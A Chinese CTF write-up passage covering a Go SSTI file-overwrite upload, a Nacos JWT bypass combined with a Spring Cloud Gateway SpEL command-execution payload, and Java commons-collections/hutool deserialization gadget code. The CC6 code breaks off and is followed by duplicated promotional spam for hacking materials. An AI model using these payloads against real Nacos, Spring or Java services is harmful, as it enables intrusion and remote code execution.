一般来说,需要通过报错来获取信息,但是不管对name怎么fuzz,由于传参限制都无法报错。看了其他师傅的wp后才发现,可以使得name参数为空来报错。。。。
报错信息中,有用的除了一些路径外,值得注意的是这几行
File "/app/server.py", line 7, in index
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"
if __name__ == "\_\_main\_\_":
app.run(host="127.0.0.1", port=5000, debug=True)
无法ssti,也没什么用。
又坐牢了一段时间,无奈之下又只能瞅一瞅师傅们的wp,好家伙,原来SESSION_KEY
是空的,逗人玩呢。
那就修改一下Admin的路由,用来获取admin的session
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
拿着伪造的session去访问靶机的admin路由,提示我们用ssti,那就ssti
经过检验确实存在ssti,但这里不是python的ssti,是go的ssti,网上大多提到了{{.}}
来获取全局变量,但对这道题来说没什么用
换个思路,既然ssti是代码执行的话,那就用go来进行RCE不就行了
但是xssWaf := html.EscapeString(name)
会转义引号,所以payload里不能用引号,寻找思路类似于PHP的无字母数字RCE
前面通过session伪造pin的思路不对或者太麻烦(因为没找到能不用引号的payload),思路转换为替换server.py文件,需要用到以下几个方法:
c.SaveUploadedFile(file *multipart.FileHeader, dst string)
保存上传的文件
c.FormFile(name string)
获取上传的文件
c.HandlerName()
获取正在处理的路由的处理函数名称,这里为main.Admin
c.Request.Referer():
获取Referer头
构造以下payload
c.SaveUploadedFile(c.FormFile(c.HandlerName()),c.Request.Referer())
最终HTTP请求体
GET /admin?name=%7b%7bc.SaveUploadedFile(c.FormFile(c.HandlerName())%2cc.Request.Referer())%7d%7d HTTP/1.1
Host: d5d0420f-1268-449d-a3df-00307c395edd.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Referer: /app/server.py
Connection: close
Cookie: session-name=MTY5NzE4NjkzMHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwInXwlMhNgf5c-RWJSULVMGWSUrousqud2c8o96O0sDQ==;
Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 408
--AaB03x
Content-Disposition: form-data; name="main/route.Admin"; filename="server.py"
Content-Type: text/plain
from flask import Flask, request, send_from_directory
import os
app = Flask(__name__)
@app.route('/a', methods=['GET'])
def read_file_content():
return os.popen("cat /th1s_1s_f13g").read()
if __name__ == '__main__':
app.run("0.0.0.0",5000,debug=True)
--AaB03x--
BackendService
靶机环境为NACOS,查找相关漏洞
Nacos(Dynamic Naming and Configuration Service)是一个开源的、易于使用的平台,为微服务架构提供了服务发现、服务配置以及服务管理功能。
找到一个身份认证漏洞,伪造JWT获取token,然后登录即可达到后台
这里要注意需要拦截登录后的第一个响应,然后Drop掉,否则会跳转到json页面,导致无法进入后台
找到了一个命令执行漏洞,但是尝试后无果。
又找到一篇利用SpringCloudGateway+Nacos进行RCE的文章
Nacos结合Spring Cloud Gateway RCE利用 - 先知社区
作者还贴心的附上了环境搭建步骤,所以我们要先搭建好环境
首先看附件里的bootstrap.yml
spring:
cloud:
nacos:
config:
name: backcfg
file-extension: yaml
group: DEFAULT_GROUP
server-addr: 127.0.0.1:8848
discovery:
server-addr: 127.0.0.1:8848
这里的配置文件貌似给错了,因为wp里是json,端口是8888
对应的作用如下
属性 | 意义 |
---|---|
spring.cloud.nacos.config.name | Nacos配置的Data ID。它标识了配置的名称为backcfg 。 |
spring.cloud.nacos.config.file-extension | 指定Nacos配置的文件格式。在这里,文件格式被设定为yaml 。 |
spring.cloud.nacos.config.group | Nacos配置的组名。此处的组名被设定为DEFAULT_GROUP 。 |
spring.cloud.nacos.config.server-addr | Nacos服务的地址和端口。此处意味着Nacos运行在本地127.0.0.1 地址的8848 端口上。 |
spring.cloud.nacos.discovery.server-addr | Nacos服务发现功能的地址和端口。它也指向运行在127.0.0.1 地址的8848 端口的Nacos服务。 |
在这种情况下,Spring Cloud Gateway会去Nacos配置中心寻找一个名为backcfg
的配置项,而这个配置项的格式是yaml
。因此,Nacos要提供一个名为backcfg.yaml
的文件内容给Spring Cloud Gateway。
所以我们需要先去配置管理
->配置列表
下增加一个新的配置文件,格式选为yaml,名称设置为backcfg。上传内容就是application.yaml中的内容
如果成功了,在监听查询中就会出现使用该配置的host信息
该yaml中的每个属性对应的作用如下:
属性 | 意义 |
---|---|
spring.main.web-application-type | 设置Spring Boot应用的类型为响应式。常用于WebFlux框架。 |
spring.application.name | 定义应用的名称,此处为backendservice 。 |
server.port | 定义Spring Boot应用监听的端口,此处为18888 。 |
management.endpoint.gateway.enabled | 启用或禁用gateway端点,默认为true 。用于获取网关的路由信息。 |
management.endpoints.web.exposure.include | 指定哪些端点可以被暴露,此处只暴露了gateway 端点。 |
management.endpoints.web.exposure.include (下面的) | 指定哪些端点可以被暴露,此处使用* ,表示暴露所有端点。 |
spring.main.allow-bean-definition-overriding | 是否允许覆盖bean定义。当有多个bean定义时,此属性允许一个bean定义覆盖另一个。默认为false 。 |
spring.cloud.gateway.routes | 定义Spring Cloud Gateway的路由信息。 |
spring.cloud.gateway.routes.id | 每个路由的唯一标识,此处为index 。 |
spring.cloud.gateway.routes.uri | 指定路由目标的URI。当请求匹配某个路由时,它会被转发到这个URI。此处为http://example.com 。 |
spring.cloud.gateway.routes.predicates | 路由断言定义。决定哪些请求可以被路由。在这里,任何请求路径为/example 的请求都会匹配到这个路由。 |
但这道题的环境原因导致spring gateway我们无法访问,所以通过添加路由来访问的上述方法无法利用。
顺着文章再往下看,发现可以利用
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://backendservice
predicates:
- Path=/echo/\*\*
filters:
- name: AddResponseHeader
args:
name: result
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{''}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
但是不知道为什么,wp里说是json格式,并且其他师傅的配置文件中是指明json,但我的靶机里就是yaml。。。
还有个坑点就是既然我们无法直接访问gateway来知道结果的话,一般来说就会用curl来判断是否成功rce,但这道题的靶机没有安装curl,所以我一直以为是哪里搞错了。。
这道题做完后其实感觉并不难,但是毕竟没有接触过微服务的人一开始做的话很难理解。所以我尽量去理解了spring gateway和nacos的原理,配置选项,以及他们如何实现联动的,感觉和JNDI的中心化管理思想很类似,还算是有点收获
deserbug
题目给出了commons-collections-3.2.2.jar
,因为大于3.1版本,也不是4.0版本,所以不能直接使用经典的CC链,比如在InvokerTransformer类中的readObject加了一行
FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")) : class$org$apache$commons$collections$functors$InvokerTransformer);
其中,checkUnsafeSerialization方法会尝试获取系统变量enableUnsafeSerialization的值
System.getProperty("org.apache.commons.collections.enableUnsafeSerialization");
如果获取不到或者该系统变量不为true,则抛出异常UnsupportedOperationException
题目hint为:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
原本以为是要在JSONObject.put
执行时通过添加重复key来抛出异常
throw new JSONException("Duplicate key \"{}\"", new Object[]{key});
然后通过捕获这个异常来进行利用,但我发现首先checkDuplicate
这个值无法控制,并且在put中为false,所以无法抛出该异常,除此之外,即使捕获到了JSONException也无法进行后续利用
看了小绿草实验室的WP,从JSONObject的put方法开始,一步一步调试到某个类执行getter方法,通过getter方法触发getAnyexcept,也就是说,这个hint
结合源码具有一定的迷惑性,会引导人的想法到通过触发异常来gadget
WP中使用的gadget如下:
HashMap->readObject()->hash()->TiedMapEntry()->hashCode()->getValue()->LazyMap()->get()->ConstantTransformer->transform()->JSONObject->put()->TrAXFilter->newTransformer()->getTransletInstance()->Evil.class.newInstance()
//当然,不止一个gadget,在后续会说到
这里就是经验的差距体现出来了,如果不熟练那几条CC链,这个gatget是凑不起来的,就比如hint提示要用JSONObject.put和getAnyexcept,我们肯定知道最终利用的是getAnyexcept来加载恶意类,类比fastjson,就要想到hutool的json也可能有类似getter和setter的机制(事后诸葛亮一下:)
)
本题目要调用的getter如下:
而如何能找到能够调用Myexpect的getter,WP上说是一步步调试的,但这个调试也得需要点技巧。原因在于wrap方法:
public static Object wrap(Object object, JSONConfig jsonConfig) {
if (object == null) {
return jsonConfig.isIgnoreNullValue() ? null : JSONNull.NULL;
} else if (!(object instanceof JSON) && !ObjectUtil.isNull(object) && !(object instanceof JSONString) && !(object instanceof CharSequence) && !(object instanceof Number) && !ObjectUtil.isBasicType(object)) {
try {
if (object instanceof SQLException) {
return object.toString();
} else if (!(object instanceof Iterable) && !ArrayUtil.isArray(object)) {
if (!(object instanceof Map) && !(object instanceof Map.Entry)) {
if (!(object instanceof Date) && !(object instanceof Calendar) && !(object instanceof TemporalAccessor)) {
if (object instanceof Enum) {
return object.toString();
} else {
return ClassUtil.isJdkClass(object.getClass()) ? object.toString() : new JSONObject(object, jsonConfig);
}
} else {
return object;
}
} else {
return new JSONObject(object, jsonConfig);
}
} else {
return new JSONArray(object, jsonConfig);
}
} catch (Exception var3) {
return null;
}
} else {
return object instanceof Number && null != jsonConfig.getDateFormat() ? new NumberWithFormat((Number)object, jsonConfig.getDateFormat()) : object;
}
}
从这个方法中可以提取出isIgnoreNullValue()
,toString()
,JSONArray()
,getDateFormat()
,getClass()
,JSONObject()
这几个方法,而这其中的一些方法还会嵌套其他方法,所以如果想挨个看的话很费精力。但我们可以初步淘汰几个,比如toString(),isIgnoreNullValue()这种稍微看一下就知道不能利用的。最后留下JSONObject()和JSONArray(),因为他们都会调用ObjectMapper.map()
//JSONArray.class
public JSONArray(Object object, JSONConfig jsonConfig, Filter<Mutable<Object>> filter) throws JSONException {
this(10, jsonConfig);
ObjectMapper.of(object).map(this, filter);
}
//JSONObject.class
public JSONObject(Object source, JSONConfig config, Filter<MutablePair<String, Object>> filter) {
this(16, config);
ObjectMapper.of(source).map(this, filter);
}
现在我们知道,既然hint提示需要调用JSONObject的put,而该类并没有readObject方法,故而需要找到一个能够调用任意类的put方法的链子作为gadget的一部分,而JSONObject正好也属于Map的实现类,从常用的反序列化类中,符合条件的就是LazyMap.get()
所以常见反序列化利用类需要很熟悉,否则很难想到这块
通过transform间接地实现控制value,并且key也是任意类型,但是在warp方法中,只传进了此方法中的value,再结合hint要利用Myexpect类的方法,猜测要将value赋值为Myexpect对象(这里可能有点牵强,但我也想不出其他更好的解释)
。那么在上述的wrap方法中,如果传入的object是一个自定义的类,那么最终调用的就只能是new JSONObject(object, jsonConfig);
,后续就会从ObjectMapper.class->map()->mapFromBean() ->······->PropDesc.class->getValue()执行myExpect.getAnyexcept()
那么剩下的就是从LazyMap向前拼gadget,可供选择的gadget如下:
//CC5 Gadget Chain:
BadAttributeValueExpException.readObject() -->
TiedMapEntry.toString() -->
LazyMap.get()
//CC6 Gadget Chain:
java.util.HashSet.readObject() -->
java.util.HashMap.put() -->
java.util.HashMap.hash() -->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() -->
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() -->
org.apache.commons.collections.map.LazyMap.get()
//CC7 Gadget Chain:
java.util.Hashtable.readObject -->
java.util.Hashtable.reconstitutionPut() -->
org.apache.commons.collections.map.AbstractMapDecorator.equals() -->
java.util.AbstractMap.equals() -->
org.apache.commons.collections.map.LazyMap.get()
CC5
......
......
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
Reflection.setFieldValue(templatesImpl, "\_name", "Hello");
Reflection.setFieldValue(templatesImpl, "\_bytecodes", new byte[][]
{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "\_tfactory", new
TransformerFactoryImpl());
Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});
JSONObject jsonObject = new JSONObject();
Transformer transformer = new ConstantTransformer(1);
Map innerMap = jsonObject;
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "k");
/\*Map expMap = new HashMap();
expMap.put(tme, "valuevalue");\*/
Reflection.setFieldValue(transformer, "iConstant", expect);
//CC5
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, tme);
//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(val);
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
......
......
CC6
......
......
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
Reflection.setFieldValue(templatesImpl, "\_name", "Hello");
Reflection.setFieldValue(templatesImpl, "\_bytecodes", new byte[][]
{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "\_tfactory", new
TransformerFactoryImpl());
Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});
JSONObject jsonObject = new JSONObject();
Transformer transformer = new ConstantTransformer(1);
Map innerMap = jsonObject;
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "k");
/\*Map expMap = new HashMap();
expMap.put(tme, "valuevalue");\*/
Reflection.setFieldValue(transformer, "iConstant", expect);
//CC6
//这里不知道为什么需要设置这些HashSet的成员变量才能成功,这段时间忙着公考,忙完再把CC链仔细研究一遍
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/814cc55227b8cc560000590375ccc96d.png)
![img](https://img-blog.csdnimg.cn/img_convert/15f6c419b2ab53db36f21307b3778ef4.png)
![img](https://img-blog.csdnimg.cn/img_convert/023f8556676db8616c6020eb89ed47c1.png)
![img](https://img-blog.csdnimg.cn/img_convert/616bffbbcec468f5a0def32ee0fd58cb.png)
![img](https://img-blog.csdnimg.cn/img_convert/335263874389330c3105be9125e1500c.png)
![img](https://img-blog.csdnimg.cn/img_convert/bad6f9c2f6680d820600a002233350b0.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**
**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**
![img](https://img-blog.csdnimg.cn/img_convert/e297b72708e2cf7a085dbbf6384b4a2d.png)
### 给大家的福利
**零基础入门**
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)
同时每个成长路线对应的板块都有配套的视频提供:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)
因篇幅有限,仅展示部分资料
网络安全面试题
![](https://img-blog.csdnimg.cn/img_convert/80674985176a4889f7bb130756893764.png)
绿盟护网行动
![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png)
还有大家最喜欢的黑客技术
![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)
**网络安全源码合集+工具包**
![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)
![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)
**所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
![img](https://img-blog.csdnimg.cn/img_convert/056c7955826142ff1c933a110076391f.png)
![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png)
还有大家最喜欢的黑客技术
![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)
**网络安全源码合集+工具包**
![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)
![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)
**所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
[外链图片转存中...(img-SiL0YUyh-1713032332969)]